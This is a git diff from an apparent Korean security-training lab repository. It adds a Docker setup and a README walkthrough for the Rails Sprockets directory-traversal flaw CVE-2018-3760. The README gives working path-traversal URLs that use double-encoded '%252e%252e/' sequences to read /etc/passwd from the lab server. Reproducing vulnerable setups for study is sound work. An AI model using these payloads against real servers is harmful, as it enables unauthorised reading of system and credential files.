gunh0 · le-e-e · Oct 18, 2023 · Oct 18, 2023 · Oct 18, 2023 · Oct 18, 2023
diff --git a/LICENSE b/LICENSE
diff --git a/README.md b/README.md
diff --git a/nginx/CVE-2017-7529/README.md b/nginx/CVE-2017-7529/README.md
diff --git a/nginx/CVE-2017-7529/default.conf b/nginx/CVE-2017-7529/default.conf
diff --git a/nginx/CVE-2017-7529/docker-compose.yml b/nginx/CVE-2017-7529/docker-compose.yml
diff --git a/nginx/CVE-2017-7529/poc.py b/nginx/CVE-2017-7529/poc.py
diff --git a/nginx/CVE-2017-7529/result.png b/nginx/CVE-2017-7529/result.png
diff --git a/rails/CVE-2018-3760/1.png b/rails/CVE-2018-3760/1.png
diff --git a/rails/CVE-2018-3760/2.png b/rails/CVE-2018-3760/2.png
diff --git a/rails/CVE-2018-3760/README.md b/rails/CVE-2018-3760/README.md
@@ -0,0 +1,30 @@
+# Ruby on rails 디렉토러 접근 취약점 (CVE-2018-)
+
+##Contributors
+이승재(@leeeeee)
+
+## 요약
+Ruby On Rails는 개발 환경에서 정적 파일 서버로 Sprockets를 사용하는 루비 웹 개발 프레임워크로 널리 알려져 있으며,
+정적 리소스 파일을 컴파일하여 배포하는 루비 라이브러리인 Sprockets는 정적 리소스 파일을 컴파일하고 배포하는 루비 라이브러리다.
+
+Sprockets 3.7.1 이하 버전에는 2차 디코딩으로 인한 디렉토리 접근 취약성이 있다. 공격자는 %252e%252e/를 사용하여 루트 디렉터리에 액세스하고 대상 서버의 모든 파일을 읽거나 실행할 수 있다.
+
+참고 링크 : 
+- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
+- https://seclists.org/oss-sec/2018/q2/210
+- https://xz.aliyun.com/t/2542
+
+## 환성 설정
+다음과 같은 명령어를 입력 : 
+
+```docker compose up -d```
+
+
+## 실행
+/etc/passwd 파일이 허용된 디렉토리에 없기 때문에 http://your-ip:3000/assets/file:%2f%2f/etc/passwd를 직접 방문하여 오류를 발생시킨다.
+![1](https://github.com/le-e-e/whitehat-school-vulhub/assets/51049963/7ecc364c-20a7-445c-820b-27cf7e788e78)
+오류 페이지별로 허용된 디렉토리 목록을 가져올 수 있다. /usr/src/blog/app/assets/images와 같은 디렉토리 중 하나를 선택한 후 %252e%252e/를 사용하여 상위 디렉토리로 이동한 후 /etc/passwd 파일을 열람한다.
+
+```http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd```
+![2](https://github.com/le-e-e/whitehat-school-vulhub/assets/51049963/055cee2b-794e-4d71-a6c8-17b7555eaeff)
+
diff --git a/rails/CVE-2018-3760/docker-compose.yml b/rails/CVE-2018-3760/docker-compose.yml
@@ -0,0 +1,6 @@
+version: '2'
+services:
+ web:
+   image: vulhub/rails:5.0.7
+   ports:
+    - "3000:3000"